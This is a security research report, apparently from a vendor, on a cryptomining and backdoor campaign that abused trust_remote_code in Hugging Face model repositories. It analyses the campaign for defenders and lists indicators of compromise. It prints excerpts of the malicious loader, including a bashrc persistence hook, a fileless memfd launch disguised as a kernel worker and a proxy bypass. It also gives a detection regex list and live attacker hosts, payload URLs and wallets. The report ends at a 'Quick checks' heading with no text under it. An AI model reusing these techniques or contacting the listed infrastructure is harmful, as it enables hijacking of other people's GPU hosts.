Pluto is officially out of stealth, with $42 million in total funding. Read here

Pluto Research tracked a cryptomining and backdoor campaign distributed through model repositories on Hugging Face. The investigation traced related accounts and models, analyzed the malicious payload, and followed the campaign’s return within days of takedown.

The campaign and linked models collectively recorded more than 32,000 downloads. That figure measures downloads, not confirmed infections or unique victims.

This report examines how the malicious code executes, the evidence connecting the repositories, and the indicators defenders can use to investigate potential exposure.

  • The campaign and linked models recorded more than 32,000 downloads The campaign returned within days of takedown, showing that removing the identified repositories did not end the activity.
  • Model hubs are a malware channel. We tracked 31 malicious repositories across seven Hugging Face accounts. The 19 second-wave repositories have been downloaded more than 29,000 times, and they were still live eight days after we reported them. With linked models, downloads pass 32,000.
  • The code runs before the model does. trust_remote_code=True imports the repository’s Python with the caller’s privileges before any weights load. No malicious weights are needed.
  • Self-hosted AI infrastructure is the target. The payloads were written for GPU hosts running self-hosted inference, especially Xinference and GPUStack, along with rented GPU machines, shared research notebooks and CI jobs that pull small test models without anyone reading the code.
  • The scanners look at the wrong files. The Hub runs every file through antivirus, and partner scanners inspect weight formats, but nothing analyzes what the Python does. The flagship payload scanned clean, and one scanner reported it was “not a machine-learning model.”
  • Victims are mining into the operator’s wallets right now. The first-wave wallet has received about 2,276 PRL on-chain, and its live workers include a batch of notebook-style GPU machines that joined within 90 seconds of each other.
  • The operator adapts to takedowns. After the first wave was removed, the next replaced the hardcoded SSH key with reverse shells. One later stage only answers to allow-listed IP addresses. Backdoor access outlasts the miner.

AI model hubs are becoming malware-distribution channels. Attackers are exploiting the trust placed in open-weight models to compromise ML environments before a model even begins running, while existing scanners focus on model files and signatures and do not examine what the code around them actually does.

We found one such campaign on Hugging Face. It has been turning other people’s GPUs into miners, using models that look like small Qwen2 test checkpoints. Loading one with trust_remote_code=True runs the publisher’s Python on your machine. Across two waves and 31 repositories, that is all it took.

We uncovered the first wave by scanning model repositories for executable code, then traced it across accounts and platforms and reported it to Hugging Face and ModelScope. Both platforms took the accounts down. Within days a second wave appeared under four new accounts, with revised loaders and reverse shells in place of the hardcoded SSH key. One wallet from the first wave is still earning today.

31
malicious repositories
32,000+
downloads, including linked models
2,276 PRL (~$5,000)
earned on-chain

Why Loading a Model Can Execute Code

Open models can run code on your machine through three different doors. Most of the security tooling points at one of them.

The parser. Some models ship as a single binary in a format like GGUF, and a C or C++ parser such as the one in llama.cpp has to read it before inference starts. Any parser of untrusted binary input is an attack surface, and so is the metadata it reads: CVE-2024-34359 showed a chat template stored in a GGUF file executing code through llama-cpp-python. It is not the door we found open.

The serialization formats. Weight files in pickle, Keras or SavedModel formats can embed executable logic, so loading them can run code. This is the best-known risk in ML security and has the most tooling. Hugging Face runs malware scanning and pickle import scanning on uploaded files, and integrates third-party scanners from Protect AI and JFrog. safetensors was built to remove the risk entirely.

The Python import (trust_remote_code=True). Some models need a Python implementation that Transformers does not include. Loading them requires permission to run code supplied by the repository, through trust_remote_code=True or an interactive confirmation. This is documented behavior, not a default. Serving frameworks have made the same mistake: CVE-2026-22807 showed vLLM (0.10.1 up to 0.14.0) loading auto_map modules without checking the trust_remote_code setting, so a malicious model repository could run code at server startup. It was fixed in 0.14.0. Fine-tuning tools have made it too: Pillar Security found that Unsloth Studio inspected a selected model’s configuration with trust_remote_code=True hardcoded, running repository code without the user ever enabling the flag. It was fixed in 2026.6.9. The Transformers security policy says exactly where the responsibility sits: “please always verify the content of the modeling files when using this argument.”

# Illustrative custom-model loading call; placeholder repository
AutoModelForCausalLM.from_pretrained(
    "publisher/custom-model",
    trust_remote_code=True,
)

The repository’s config.json uses auto_map to name the Python module and class to load, for example modeling_custom.CustomModel. Transformers downloads the referenced file into its module cache and imports it. The critical step is in get_class_in_module():

# transformers/dynamic_module_utils.py - fresh-import path, cache checks omitted
module_spec = importlib.util.spec_from_file_location(name, location=module_file)
module = importlib.util.module_from_spec(module_spec)
sys.modules[name] = module
module_spec.loader.exec_module(module)  # execute the file's top-level code
return getattr(module, class_name)     # then retrieve the requested class

Python executes a module’s top-level statements to define its classes. exec_module() therefore runs any call placed next to those definitions before getattr() returns the model class. If the publisher put malicious code there, one loading call runs it. No poisoned weights or pickle exploit is involved: the attacker uses the permission to run a custom implementation.

How open models are loaded
From from_pretrained() to code execution.

How We Found It

We built a scanner for the files that trust_remote_code actually downloads and runs: every .py file referenced by auto_map in a config.json, plus any Python file sitting beside model weights. A model definition should describe layers and a forward pass. If it imports subprocess, opens a socket or calls memfd_create, someone put that there on purpose.

dangerous_patterns = [
    r'\bsubprocess\b', r'\bos\.system\b', r'\bsocket\b',
    r'\bctypes\b', r'\bmemfd_create\b', r'\bbase64\.b64decode\b',
    r'\bexec\b', r'\beval\b', r'\burllib\b'
]

While scanning recently uploaded public repositories, one hit stood out: dsxk4mr8tq/qwen2-tiny-gpt2. A random-string account name, and a file called modeling_evil.py matching subprocess, socket, ctypes and memfd_create.

The file was 305 lines with error handling, fallback infrastructure and anti-detection built in. The account had six repositories, all created within 2.5 hours on October 12, 2026, with the same code under six model names.

The real break came from qwen2-tiny-lite. It held two backup files the attacker had left behind, modeling_evil.py.bak-src and modeling_evil.py.bak-sync: older versions of the same malware with different download URLs. Those URLs did not point at dsxk4mr8tq. They pointed at hhzz667 on Hugging Face and wssb123e on ModelScope.

The attacker had copied production code into a new test account, updated the URLs in the main file and forgot the backups. Their own version history connected the accounts.

How we linked the test account to the full campaign
A scanner hit on the test account, backup files with old URLs, and the production accounts behind them.

The initial targeted scan uncovered the first wave. We then expanded our investigation, scanning a much larger set of models and examining more traffic. Those broader scans uncovered the second wave and linked findings, including similar operations using different miners and delivery methods.

Real Victims, Real Payouts

A payload that only mines would be a nuisance. This one is paying.

All six analyzed mining builds share one Kryptex login, and the first-wave payout wallet was still active on public pool dashboards on October 21, long after its repositories were removed.

  • On-chain. The wallet had received about 2,276 PRL across 716 transactions and sent about 2,241 PRL onward. That is realized profit, not a pending balance.
  • Live workers. On Kryptex it showed two online workers reporting peakminer/2.16.5, the same miner we later recovered from the second-wave binary, with about 1,008 PRL (roughly $2,237) in 30-day rewards at capture time. On luckypool, a cohort of workers with default MAC-style names had been connecting since September 23 on the first wave’s own stratum port.
  • A cluster joins in real time. While we were analyzing the wallet, nine workers joined within 90 seconds of each other. Their names read like a shared notebook cluster: dhumphreys-notebook-2, tsakaguchi-notebook-1, albertzhou-notebook-1, gonzano-notebook-1, cprat-notebook-1, plus a10040gb, a10040gb2, a10040gb3 and mig (an A100 Multi-Instance GPU partition). That is the profile of a shared GPU cluster, not a mining farm. They stopped submitting shares about six minutes later, which fits an administrator killing the jobs.
First-wave wallet on Kryptex
The first-wave wallet: two online peakminer workers and about $2,237 in 30-day rewards at capture time.

We also found a separate hl family: models such as MONIADF-2/qwen2-hl with similar import-time execution and watchdog techniques, which we track separately from the core campaign. Its own MoneroOcean wallet showed 13 workers, including hl-de8647d4, whose name matches the family’s prefix. That wallet’s realized value is small (roughly $26 paid in about a month), so for that line the activity matters more than the money.

Separate hl-family wallet on MoneroOcean

Anatomy of the Payload

Take MENXIANGYU/qwen2-tiny, a representative mining build, listed at 28,412 downloads on October 28. Its configuration looks like any Qwen2 model, but model.safetensors contains no tensors and is just 42 bytes. The payload is in modeling_evil2.py, and auto_map points to modeling_evil2.EvilModel. Importing the module reaches _boot() before the class definition:

# modeling_evil2.py - shortened module-level entry point
try:
    _boot()
except Exception:
    try:
        _run()
    except Exception:
        pass

class EvilModel:
    ...
Attack chain

Phase one: the foothold goes in before the miner

The payload first writes /tmp/.cch/svc.py, a watchdog that runs as a separate process. Hooks in shell startup files can launch it again:

# modeling_evil2.py - startup-hook construction, excerpt
svc = os.path.join(home, "svc.py")
line = "( if [ -f %s ]; then nohup %s %s >/dev/null 2>&1 & fi )\n" % (svc, _PY, svc)
for rc in ("/root/.bashrc", "/root/.profile", os.path.expanduser("~/.bashrc")):
    cur = open(rc).read() if os.path.exists(rc) else ""
    if svc not in cur:
        open(rc, "a").write(line)

Using the model loader’s own interpreter, the watchdog restarts a missing miner every 120 seconds. Three builds (qwen2-tiny-5, -6 and -9) add a “step zero”: a separate process connects a shell to 212.32.253.3:443 or :9443 and retries after every disconnect. A successful connection gives the attacker an interactive shell with the files and credentials of the compromised process.

Phase two: a miner disguised as a kernel worker

Next comes syscore.bin. The payload checks the downloaded model snapshot, then /tmp/.cch/sync left by an earlier infection. If neither has the binary, it fetches it from the Hugging Face repository or a mirror. When a download is needed, the client disables the host’s configured proxies:

# Illustrative equivalent of the downloader's proxy configuration
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))

The empty dictionary ignores HTTP_PROXY and HTTPS_PROXY. If direct outbound traffic is allowed, the download skips that proxy’s inspection and logs. It cannot bypass a network that enforces proxy use.

For the first launch, the payload copies the binary into a memory-backed file descriptor and executes it as [kworker/u20:1]:

# modeling_evil2.py - excerpt of the attempted memory-backed launch
fd = os.memfd_create("kworker")
with open(body, "rb") as f:
    os.write(fd, f.read())
os.fchmod(fd, 0o755)
if os.fork() == 0:
    os.setsid()
    os.fexecve(fd, [_TAG] + _margs(), os.environ)

This is the step that keeps the miner out of sight. memfd_create creates an anonymous file that exists only in memory, and fexecve runs the binary straight from it. The first launch leaves no executable path on disk for a file-based antivirus or EDR scan to inspect, and the process list shows what looks like a kernel worker. A fallback copy does stay in /tmp/.cch/sync for watchdog relaunches, so the disk still holds evidence for anyone who looks for it. The disguise also has a tell: unlike a real kernel thread, the process carries userspace arguments, including the mining login.

For the person who loaded the model, nothing looks wrong. The model loads, there is no prompt and no error, and nothing new appears among the programs they recognize. Earlier builds also throttled the miner to stay under monitoring thresholds. The first sign is usually a GPU that is busier than it should be, or a cloud bill.

The 40.6 MB binary is packed with UPX, a tool that compresses an executable and bundles a small loader that unpacks it in memory when the program starts. Analysts normally run upx -d to restore the executable for inspection.

In this sample, two UPX! markers in the packing metadata were changed to PEK!. These signatures are how the unpacking tool recognizes its own format, so upx -d rejects the file as not packed by UPX:

# syscore.bin - packer markers identified in the original analysis
Offset       Expected marker    Stored marker
0x000000ec   UPX!               PEK!
0x026be650   UPX!               PEK!

The embedded loader still unpacks and runs the miner, because the changed markers do not break its execution path. The modification blocks routine unpacking without changing or encrypting the mining code.

We reverse-engineered the payload, restored both markers and unpacked it to reveal peakminer, the same mining client reported by the live workers on the first-wave wallet shown earlier. The loader supplies its pool endpoints and the krxXJ2PKQW.worker login at launch; the operator’s account is not embedded in the miner itself.

Phase three: reporting success and keeping the compute

Progress reports go into the local Xinference registry disguised as model names: qwen2-tiny- followed by base32-encoded status. An operator with access to the exposed API can retrieve and decode them to check each infection.

Receipt When it is written What it reports
B During _boot(), after starting the main-flow thread Startup reached; mining not yet confirmed
P After obtaining the binary, before launch The miner binary is in place
OK After verifying the memory-backed launch Miner running through the first path
OK2 After verifying the on-disk fallback Fallback started the miner
DLN When binary acquisition fails No usable binary obtained
NM When the binary is present but launch fails Miner could not be started
OK3 After the watchdog relaunches the miner Watchdog restored mining
H Every fifth watchdog cycle Heartbeat with GPU-utilization data

Once its own miner is running, the payload removes rival model registrations, strips their startup commands and kills matching processes, freeing compute for its own miner. Earlier builds scanned /proc/*/cmdline for 13 known rival miner names.

A Campaign That Adapts

The payload described above developed through several revisions. The first wave shows how the operator assembled the mining chain. The second shows which capabilities persisted and how access and delivery changed after takedown.

Wave one: from SSH backdoor to fileless miner (September 21 to October 12)

The account hhzz667 (“hhzz svg”) was created on April 29, 2026, and sat dormant for five months. Then it moved fast.

  • Phase 1, September 21. qwen2-shell, 37 lines. A pure SSH backdoor: an ed25519 key planted in authorized_keys, and a beacon to an Alibaba Cloud server in China. The README was copied word for word from the official Qwen2.5-0.5B model card.
  • Phase 2, September 21-22. qwen2-tiny, -mini, -nano, -legacy, 102 lines. Key injection in six paths, including the xinference user’s home, plus .bashrc injection. The code also dropped a self-test marker, /tmp/.qa_pwned, containing PWNED:<hostname> uid=<uid>: the attacker was QA-testing their own payload.
  • Phase 3, September 22. qwen2-final, 305 lines. The first full fileless miner, with a kernel-thread disguise, a competing-miner killer, Xinference-based status reporting and dual pools. This build used clean names: Qwen2Config, modeling_qwen2.py. The EvilConfig naming only existed in the dev account.
  • Phase 4, October 12. dsxk4mr8tq, the throwaway account our scanner caught. Same code, updated URLs.

Comments throughout were in Simplified Chinese: “daemon disguise name,” “blend into Xinference directory,” “kill rival processes.” Wave one totals 12 repositories, more than 700 downloads recorded before removal and two miner binaries.

Campaign evolution
From a 37-line SSH backdoor to a 305-line fileless miner in three weeks.

Wave two: revised miners and broader access

The final first-wave build already combined memory-backed execution, process disguise, competing-miner removal, and Xinference reporting. The second-wave mining builds retained that foundation, and three of them added reconnecting reverse shells, extending the campaign’s earlier use of planted SSH keys for remote access. The two waves also share money: the decoded loader in wjsbg/qwen2-final pays out to the same first-wave wallet that victims are still mining into.

The takedown, and what came after

We reported the first wave to Hugging Face and ModelScope, and the accounts were removed. The second wave followed within days: 19 repositories across five accounts, with more aggressive and more varied payloads.

  • MENXIANGYU (13 repositories): the toolkit lab. qwen2-tiny carries the production miner. Others are payload iterations, import-time canaries, a diagnostic collector, a gated dropper, the oversized zz_ext kit with recon, miners and a reverse shell, and a container-escape script.
  • wjsbg: an execution canary, a payload that reclaims hosts from rival miners, and qwen2-final, a miner paying the first-wave wallet.
  • soumikmahato: a “parasit” toolkit with timestamp forgery, a process renamed python3 and a Cloudflare tunnel beacon, behind four legitimate-looking cover repositories.
  • r1r13: GPU platform discovery for LLaMA-Factory deployments and Tencent Cloud metadata collection.
  • htt0118: a new account created on October 25, carrying a near-identical copy of the qwen2-tiny-6 payload, with the same pool login and reverse-shell receivers.

A header comment in the wave-two payload references “report §9.1” and states that “ammunition must be self-hosted.” Repository-hosted binaries and mirrors continued from wave one. What changed was access: the planted SSH key, one grep away from detection, gave way to reverse shells. The operator was adapting to the takedown.

Publishing also continued after our disclosure. Three new campaign repositories appeared between October 20 and 25, one of them on the new htt0118 account. Linked families added five more in the same window.

One of them marks an escalation. MENXIANGYU/qa-whl-1021, published 8.5 hours after our disclosure email, is a container-to-host escape script. From inside a privileged container it activates LVM volumes, mounts candidate host disks, finds the host root or GPUStack’s /var/lib/gpustack, and gives the attacker root login on the host. That names GPUStack as a second target platform beside Xinference, and moves the operator from the process that loaded the model to the machine underneath it.

One later dropper restricts its second stage at :8898/lf_py.py by source IP. Other requests get a 403 and the text static ip.. An analyst fetching the same URL can miss the payload served to an allowed host.

By the evening of October 20, qwen2-tiny had grown from 7,354 to 9,584 downloads within the hours after we disclosed it, the Hub listed it at 18,012 on October 25, 25,854 on October 27 and 28,412 on October 28. The operator could replace listings and change access methods without changing the entry point.

Downloads by repository and account
Wave 1 per repository, recorded before removal. Wave 2 and linked repositories, all-time downloads as of October 28. One repository accounts for 97.7% of second-wave downloads.
Scope Repositories Recorded downloads
First wave (removed, recorded before removal) 12 728
Second wave 19 29,090
Campaign total 31 29,818
Linked models 13 2,558
Overall, including linked models 44 32,376

Where the Scanners Stop

None of the 12 first-wave repositories was flagged. The second-wave flagship scanned clean while it collected 28,412 downloads.

Hugging Face does scan repository files, and says so in its documentation. Its malware scanning page states that every file smaller than 2 GB is run through the ClamAV antivirus scanner at each commit. ClamAV matches known malware signatures. The pickle scanning page adds that this “doesn’t cover pickle exploits,” which is why the Hub also extracts and displays the imports inside pickle files. Partner scanners Protect AI Guardian (pickle, Keras and other model exploits) and JFrog (malicious behavior in model files) cover the weight formats. The same pickle page is candid about the limits: the scanning is “not 100% foolproof,” and checking whether something is safe is the user’s responsibility.

So a Python file in a repository is scanned, but by a signature matcher, not by anything that reads what the code does.

The campaign sits in that gap. A plain Python file referenced by auto_map is neither a known malware signature nor a serialized model. In our checks, modeling_evil2.py inside qwen2-tiny returned safe from every scanner that ran: antivirus clean, and JFrog reporting it was not a machine-learning model. The same held for the wave-one files.

Hugging Face’s guidance for this surface is explicit and puts the work on the user: verify the code before you enable the flag. That works only if people actually read the code. In practice model cards and tutorials copy trust_remote_code=True, and the flag meant as an informed opt-in becomes a checkbox.

Reviewing the .py files an auto_map points to, before the flag is set, would have caught every payload in this campaign. A static check at upload time for subprocess, socket, ctypes or raw-IP network calls in files referenced by auto_map would have caught them earlier still.

Who Is Behind It

Our assessment is a financially motivated, Chinese-speaking operator or small group. Wave-one code carries Simplified Chinese comments, the C2 runs on Alibaba Cloud, the miner binary is mirrored on ModelScope and hf-mirror.com, the targeting assumes Xinference and Tencent Cloud, and activity clusters between 18:38 and 21:19 UTC, which is late night in China Standard Time.

The money points the same way: Pearl and Monero wallets, real pool payouts and commodity tooling, with throwaway accounts, a leaked token and development files named evil. Language and hosting place the operator in the Chinese-speaking ML ecosystem. The wallets and tradecraft show the goal is profit.

One line of the wave-two family is different. The soumikmahato “parasit” build carries Indonesian-language comments and a different build system. Either a second operator in the same niche, or one operator running a deliberately different-looking line for redundancy, fits the evidence.

What to Do

If you loaded one of the listed models with custom code enabled, check the machine for compromise even if loading failed or GPU usage looks normal. The payload runs before model initialization, and its backdoors can remain after mining stops.

  • Check the host against the indicators below. Look for /tmp/.cch/, unexpected svc.py processes, and a process named [kworker/u20:1] carrying mining arguments. Inspect Xinference registrations for encoded qwen2-tiny- or ezv- names, and review connections to the listed servers and pools. Use the additional paths and hashes for the other builds. No single missing indicator rules out compromise.
  • Contain affected machines and preserve evidence. Isolate them from production networks and restrict outbound access. Before deleting anything, capture process details, connections, logs, model cache files, startup changes and registry entries. Check other machines that loaded the same repositories.
  • Remove every route back in. Check shell startup files, cron jobs, SSH authorized_keys and model registrations for unauthorized changes, then remove the malicious loaders, miners, watchdogs and backdoors. The payload also deletes competing miners and their startup entries, so review deletions as well as additions. Killing the miner or deleting the model does not remove persistence. Rebuild from a trusted image if you cannot establish the host’s integrity.
  • Replace exposed credentials. From a clean machine, revoke or rotate tokens, cloud credentials, passwords and SSH keys the compromised process could reach, and review their recent use. Removing an attacker’s key from authorized_keys does not invalidate credentials they may have copied.
  • Secure the replacement environment. Require authentication on the Xinference API and limit its reachability. Review custom model code and pin the reviewed revision before loading it. Run untrusted code with limited privileges, restricted network access and no production secrets. The analyzed payload returned clean scanner results, so a clean scan alone is not a reason to trust it.

Conclusion

Nothing in this campaign required skill or money. The operator needed a few free accounts, plain Python files in repositories named after a popular model family, and one flag that users are used to setting. Scanners built for other threats returned clean results. When the first wave was removed, the second was up within days, with the payload adjusted to what the takedown had burned. One operator ran 31 repositories across seven accounts, and one wallet was still collecting payouts after the repositories behind it were gone.

Cryptomining is the mildest thing this entry point can deliver. The same mechanism can run anything the loading process is allowed to do, and in this research we found other, unrelated publishers using it for credential theft, reverse shells and persistent backdoors. The machines it reaches make that worse: GPU servers, shared research clusters and automated pipelines tend to hold credentials, data and network access worth far more than the compute. And the access these payloads plant does not expire when the miner stops.

We think malicious models remain an underestimated threat. They are cheap to publish, easy to disguise, and sit in a part of the supply chain where most teams still assume that a familiar model name means safe code. We expect to see more campaigns like this one, and we are tracking them closely.

Until detection catches up, treat model code like any other software dependency: review it, pin it and isolate its runtime. Those controls hold when the next repository name appears, and they let teams keep using open models safely.

Indicators of Compromise

Repository status and download counts as of October 28, 2026. Network infrastructure last observed October 21. Labels follow our investigation: proven means shared infrastructure or payload identity, linked means shared technique without proven shared ownership.

Repositories by account

Account Tier Repositories Status
MENXIANGYU wave 2, proven qwen2-tiny, qwen2-tiny-2, -3, -4, -5, -6, -9, qwen2-mini-c4, qwen2-mini-c5, qwen2-ezv, llama-tiny-x1019, zz_ext, qa-whl-1021 live
wjsbg wave 2, proven eagle-tiny, qwen2-tiny-zh21, qwen2-final, plus payload host zh-assets and private beacon repo live
htt0118 wave 2, proven qwen2-tiny live
soumikmahato wave 2 qwen2-tiny-chat (behind 4 cover repos) live
r1r13 wave 2, proven qwen-lora-text-v1 live
hhzz667 wave 1, proven qwen2-shell, qwen2-tiny, qwen2-mini, qwen2-nano, qwen2-legacy, qwen2-final removed
dsxk4mr8tq wave 1, proven qwen2-tiny, -gpt2, -lite, -pure, -real, -assets removed
wssb123e (ModelScope) wave 1, proven qwen2-tiny, qwen2-tiny-zh (binary mirror) removed
MONIADF-2 linked qwen2-hl, qwen2-hl2, qwen2-hl3, qwen2-tiny-hl, hl-xinf-1022 live
antwoinhjro654 linked (hl family) xinfer-pub-01, hl-46990, hl-inf-001, qwen2-hl3-nolfs2 live
vaishupv linked xai-probe-v1 live
andrew3d linked (vaishupv gsocket tier) qwen2-tiny-probe live
oifewuheu linked oeoijoewfief; also rn34lfk4, an execution canary not counted in the totals live
KzuryHD linked qwen-helper live

Wallets and pools

prl1p9s2a9gdy4n5yfuf5suhya2d2pyvaahmz3n3gzm3npyxkj79m7yyq9kgnrv   first-wave payout wallet, live, victim-mined
prl1pek8rh8yjck5q7596aph7ua7xnkqs8ur9mkfmz8w7xfzcdfcfx5vsx2f4lz   soumikmahato/qwen2-tiny-chat wallet, live
prl1p0aaff83xc3cvs6f95jj9pwx2uskez9hmrjd2ap2p3mj0nmkl3hfqua63wf   decoy, dead code, unused everywhere
83sB24CNcALNWZJrWb7zEnY6ZAtneXwfKAWyedqocXrd9cgzrLDcSdEch9xpHu6ZuqUdAh8VEMA15Zy6W5xMfZfPG4whgZj   wave-1 Monero wallet, dead
46i5xDQq56pCJW6vg1kpPwLxmLLNzFB8vHZk58twfKj7VRGZDucSHYY8TYSoZDW6PpTcMEP4UdjWrPhrQdDFNaUDVPekNcc   MONIADF-2/qwen2-hl Monero wallet
prl1phz0aglq4hg2jpqxrqgvycw798ruzlxjztfty6pmt3yr6y2f8lw0s4uppg2   antwoinhjro654/xinfer-pub-01 wallet
krxXJ2PKQW.worker                                 pool account login, six analyzed second-wave builds and htt0118/qwen2-tiny

stratum+ssl://prl-us.kryptex.network:8048         second-wave pool
stratum+ssl://prl-sg.kryptex.network:8048         second-wave pool
pearl-hk.luckypool.io:3361, :3956                 wave-1 pool
pool.hashvault.pro:80, :443                       wave-1 pool
stratum+tcp://pearl-sg1.luckypool.io:3360         soumikmahato/qwen2-tiny-chat
stratum+tcp://de.pearl.herominers.com:1200        soumikmahato/qwen2-tiny-chat
gulf.moneroocean.stream:10001                     MONIADF-2/qwen2-hl
mine.c3pool.com:80                                vaishupv/xai-probe-v1
prl-us.kryptex.network:7048                       oifewuheu/oeoijoewfief
prl-eu.kryptex.network:7048                       antwoinhjro654/xinfer-pub-01
103.97.176.121:3361                               wjsbg/qwen2-final
178.33.123.26:3361, :3362                         wjsbg/qwen2-final

Infrastructure

212.32.253.3:443, :9443                           reverse shell receivers (qwen2-tiny-5/-6/-9)
212.32.253.3:8898/lf_py.py                        gated second stage, source-IP allowlist, 403 "static ip."
212.32.253.3:8895/ezv                             collector exfil endpoint
212.32.253.3:8895, :8898                          payload hosting
212.32.253.3:8898/kitsd_v12.sh                    zz_ext second stage: CPU/GPU miners and reverse shell
38.55.133.49:8901/kitsd_v12.sh                    zz_ext second stage, alternate host
38.55.133.49:8901, :9001                          recon exfil / reverse shell (zz_ext; C2 now dead)
8.137.187.63                                      wave-1 Alibaba Cloud C2 (80, 443, 50053, 50054), /v1/models, PWN_<hostname>
103.97.176.121:8899, hz2006.aihzcc.top            g20_reclaim.py hosts (wjsbg/qwen2-tiny-zh21)
103.97.176.121:8090/m2.bin                        miner payload (wjsbg/qwen2-final)
huggingface.co/wjsbg/zh-assets/resolve/main/m2.bin   miner payload host repository
hf-mirror.com/wjsbg/zh-assets/resolve/main/m2.bin    mirror of the same payload
2.28.9.199:7000                                   GPU/metadata exfil (r1r13)
https://3.112.174.116.sslip.io/sysd-kit.tgz       GPU miner + CUDA runtime (soumikmahato/qwen2-tiny-chat)
https://grows-stocks-vatican-flood.trycloudflare.com/beacon   status receiver (soumikmahato), fields ph, h, pid
http://173.249.209.96:8081/ag.sh                  agent script (MONIADF-2/qwen2-hl)
173.249.209.96:8081/task/<host>, /in/<host>       command retrieval and result reporting (MONIADF-2)
173.249.209.96:8000/r/aliyun3g?t=hl9f3a7c         hl C2 path (antwoinhjro654, hl-xinf-1022)
173.249.209.96:8001/xmrig-static                  hl miner download (antwoinhjro654/xinfer-pub-01)
huggingface.co/MONIADF-2/qwen2-hl/resolve/main/kx.tgz   XMRig archive hosted in the repository
suteeal/qwen2-hl                                  ModelScope reference in MONIADF-2 registrations
212.132.98.170                                    gsocket backdoor host (vaishupv/xai-probe-v1)
49.12.44.127, 200.58.80.115                       gs-netcat download mirrors (vaishupv/xai-probe-v1, andrew3d/qwen2-tiny-probe)
github.com/peakminer/peakminer/releases           miner source (oifewuheu/oeoijoewfief)

Miner binary download locations

# wave 1
https://huggingface.co/dsxk4mr8tq/qwen2-tiny/resolve/main/syscore.bin
https://hf-mirror.com/dsxk4mr8tq/qwen2-tiny/resolve/main/syscore.bin
https://hf-mirror.com/hhzz667/qwen2-final/resolve/main/syscore.bin
https://www.modelscope.cn/api/v1/models/wssb123e/qwen2-tiny/repo?Revision=master&FilePath=syscore.bin
https://huggingface.co/dsxk4mr8tq/qwen2-tiny-assets/resolve/main/sysx.bin

# wave 2 (syscore.bin hosted in six mining repositories; mirror fallback in the flagship loader)
https://huggingface.co/MENXIANGYU/qwen2-tiny/resolve/main/syscore.bin
https://huggingface.co/MENXIANGYU/qwen2-tiny-3/resolve/main/syscore.bin
https://huggingface.co/MENXIANGYU/qwen2-tiny-4/resolve/main/syscore.bin
https://huggingface.co/MENXIANGYU/qwen2-tiny-5/resolve/main/syscore.bin
https://huggingface.co/MENXIANGYU/qwen2-tiny-6/resolve/main/syscore.bin
https://huggingface.co/MENXIANGYU/qwen2-tiny-9/resolve/main/syscore.bin
https://hf-mirror.com/MENXIANGYU/qwen2-tiny/resolve/main/syscore.bin

Host artifacts and hashes

/tmp/.cch/{sync,svc.py,o}                         payload dir: miner binary, watchdog, log
/tmp/.cchx, /tmp/.kitsd                           additional campaign drop dirs
RC hook line in /root/.bashrc, /root/.profile, ~/.bashrc
[kworker/u20:1]                                   masqueraded argv[0] (real cmdline carries the worker ID)
qwen2-tiny-<base32>, ezv-<base32>                 beacon receipts in the local Xinference model registry
/tmp/lf_py.py, /tmp/ezv_proof.txt                 second-stage landing and collector proof
/root/.xinference/cache                           wave-1 miner install location
/etc/cron.d/.sync-helper                          wave-1 cron persistence
/tmp/.qa_pwned, ~/qa_pwned                        wave-1 infection markers, content PWNED:<hostname> uid=<uid>
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDYjYyvcEJW5ZVgsESyZE5uxqSwN2vmd5asrWICeHxu1 qx-5090-op   wave-1 key, six paths
/tmp/.cache-hf/g20.py                             wjsbg/qwen2-tiny-zh21 reclaim script
EAGLE_MODEL_MARKER_93bd                           wjsbg/eagle-tiny execution marker
/tmp/.c/kit.tar.gz, /tmp/.c/app/                  soumikmahato kit archive and extracted kit
/tmp/.c.pid, /tmp/.c.log, /tmp/.c.out             soumikmahato PID and log files
/tmp/.h9ag, /tmp/.h9mark (content: hlhf)          MONIADF-2 dropper landing
/root/.mx, /tmp/.mx, /var/tmp/.mx, /dev/shm/.mx   MONIADF-2 watchdog locations
/root/.hl/{poll.sh,boot.out,t.out}                MONIADF-2 agent files
hlrce-<host>-*, hlcmd-, hlout-                    MONIADF-2 registry receipts, commands and results
/tmp/.xai_loot                                    vaishupv/xai-probe-v1 collection file
/mnt/qa_<pid>                                     qa-whl-1021 host-disk mount points
QA escape, PLANTED <device>, ESCAPE_OK=           qa-whl-1021 output strings
/tmp/.xi2026, /tmp/.xi2026_lock, /tmp/.prb4, /tmp/.gsd_   andrew3d/qwen2-tiny-probe

wave 2  syscore.bin          40,625,780 bytes   sha256 88f4b95a1c3d0a0d9638dc6e69f5bbc9ce0e1b92d069a0e404f60fa5397ee020
wave 2  syscore.bin unpacked BuildID            c492732de98117b7b28ce0e410f5966e1232e9dc
wave 2  modeling_evil2.py                       sha256 414b3cf7a288eaa592b0f03d85c7a6960dbdb855fcb684478b9def9faa95c21d
wave 1  syscore.bin          33.8 MB            sha256 587e3c3be3c75eb6586d69b25adb4c4208c1cf7d39157946da543dd823117adc
wave 1  sysx.bin             7.9 MB             sha256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
soumikmahato  sysd-kit.tgz                      sha256 6b1e531c9e799a6df1472acc143c6eaec6ea4dd22f997458ba519644d125197e
soumikmahato  configuration_parasit.py          sha256 9d62179c94faf0c8eb86704973c218c229e92c71c0ed60a5e85d4bcc69c13f40
soumikmahato  modeling_parasit.py               sha256 6a837d3042b9b8b6266c75b07e22ea8e7a7108083efa48ff0aedba7fa24fb57c
htt0118/qwen2-tiny  modeling_evil6.py           sha256 170ef5754bea51c3b05ae4b6c15c541ffa51d972bf8fe0bd3d1c3a19946bd6ac
wjsbg/qwen2-final  modeling_qtz.py              sha256 2cd9328715bbffb6b090a58de17222c830d910f5ec8198e3fefb0fca2f3e0ef0
wjsbg/zh-assets  m2.bin (35,702,840 bytes)      sha256 5dc4b927fb91442a66a2e02c1636f629d4042a03a5c1523cd841d6ece66e0beb
MENXIANGYU/qa-whl-1021  e.sh                    sha256 849ce59ffb2ae55e4131111acd8a511444475639ba18515509310414b1661964
hl family  modeling_hl.py (4 repos)             sha256 0fc39482f05fb88c13ac9edc306e4cc838085e69d9faa458a19979ace143107a
antwoinhjro654/xinfer-pub-01  modeling_hl.py    sha256 ac9c284246570aed87c939bca7c5e3adfbf691fd2847d55b4cf6cdff7cb2a714
andrew3d/qwen2-tiny-probe  tokenization_probe.py   sha256 0bb9f618c7b5863d8523e0fd4db44c3ebfdc7afb01cbed10a3489e12c0701e01
oifewuheu/rn34lfk4  configuration_custom.py     sha256 6d8b718af302338def360d813c4cb5ca079031e6cf05ad1b5c82e4528eefb613

Quick checks on a suspect host

